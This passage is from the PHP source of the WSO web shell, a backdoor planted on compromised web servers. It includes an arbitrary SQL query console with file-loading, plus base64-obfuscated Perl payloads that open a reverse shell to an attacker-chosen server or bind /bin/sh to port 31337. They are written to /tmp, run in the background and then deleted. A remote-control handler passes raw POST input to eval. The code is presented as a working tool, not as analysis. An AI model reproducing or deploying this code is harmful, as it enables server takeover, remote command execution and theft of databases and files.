1206 echo '</select>';
1207 } else echo $tmp;
1208 } else echo $tmp;
1209 echo "</td>
1210 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1211 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1212 </tr>
1213 </table>
1214 <script>
1215 s_db='" . @addslashes($_POST['sql_base']) . "';
1216 function fs(f) {
1217 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1218 if(f.p1) f.p1.value='';
1219 if(f.p2) f.p2.value='';
1220 if(f.p3) f.p3.value='';
1221 }
1222 }
1223 function st(t,l) {
1224 d.sf.p1.value = 'select';
1225 d.sf.p2.value = t;
1226 if(l && d.sf.p3) d.sf.p3.value = l;
1227 d.sf.submit();
1228 }
1229 function is() {
1230 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1231 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1232 }
1233 </script>";
1234 if (isset($db) && $db->link) {
1235 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1236 if (!empty($_POST['sql_base'])) {
1237 $db->selectdb($_POST['sql_base']);
1238 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1239 $tbls_res = $db->listTables();
1240 while ($item = $db->fetch($tbls_res)) {
1241 list($key, $value) = each($item);
1242 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1243 $value = htmlspecialchars($value);
1244 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1245 }
1246 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1247 if (@$_POST['p1'] == 'select') {
1248 $_POST['p1'] = 'query';
1249 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1250 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1251 $num = $db->fetch();
1252 $pages = ceil($num['n'] / 30);
1253 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1254 echo " of $pages";
1255 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1256 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1257 $_POST['p3']--;
1258 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1259 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1260 echo "<br><br>";
1261 }
1262 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1263 $db->query(@$_POST['p2']);
1264 if ($db->res !== false) {
1265 $title = false;
1266 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1267 $line = 1;
1268 while ($item = $db->fetch()) {
1269 if (!$title) {
1270 echo '<tr>';
1271 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1272 reset($item);
1273 $title = true;
1274 echo '</tr><tr>';
1275 $line = 2;
1276 }
1277 echo '<tr class="l' . $line . '">';
1278 $line = $line == 1 ? 2 : 1;
1279 foreach ($item as $key => $value) {
1280 if ($value == null) echo '<td><i>null</i></td>';
1281 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1282 }
1283 echo '</tr>';
1284 }
1285 echo '</table>';
1286 } else {
1287 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1288 }
1289 }
1290 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1291 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1292 echo "</textarea><br/><input type=submit value='Execute'>";
1293 echo "</td></tr>";
1294 }
1295 echo "</table></form><br/>";
1296 if ($_POST['type'] == 'mysql') {
1297 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1298 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1299 }
1300 if (@$_POST['p1'] == 'loadfile') {
1301 $file = $db->loadFile($_POST['p2']);
1302 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1303 }
1304 } else {
1305 echo htmlspecialchars($db->error());
1306 }
1307 echo '</div>';
1308 wsoFooter();
1309 }
1310 function actionNetwork() {
1311 wsoHeader();
1312 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1313 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1314 echo "<h1>Network tools</h1><div class=content>
1315 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1316 <span>Bind port to /bin/sh [perl]</span><br/>
1317 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1318 </form>
1319 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1320 <span>Back-connect [perl]</span><br/>
1321 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1322 </form><br>";
1323 if (isset($_POST['p1'])) {
1324 function cf($f, $t) {
1325 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1326 if ($w) {
1327 @fwrite($w, base64_decode($t));
1328 @fclose($w);
1329 }
1330 }
1331 if ($_POST['p1'] == 'bpp') {
1332 cf("/tmp/bp.pl", $bind_port_p);
1333 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1334 sleep(1);
1335 echo "<pre class=ml1>$out
1336" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1337 unlink("/tmp/bp.pl");
1338 }
1339 if ($_POST['p1'] == 'bcp') {
1340 cf("/tmp/bc.pl", $back_connect_p);
1341 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1342 sleep(1);
1343 echo "<pre class=ml1>$out
1344" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1345 unlink("/tmp/bc.pl");
1346 }
1347 }
1348 echo '</div>';
1349 wsoFooter();
1350 }
1351 function actionRC() {
1352 if (!@$_POST['p1']) {
1353 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1354 echo serialize($a);
1355 } else {
1356 eval($_POST['p1']);
1357 }
1358 }
1359 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1360 else $_POST['a'] = 'SecInfo';
1361 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1362 exit;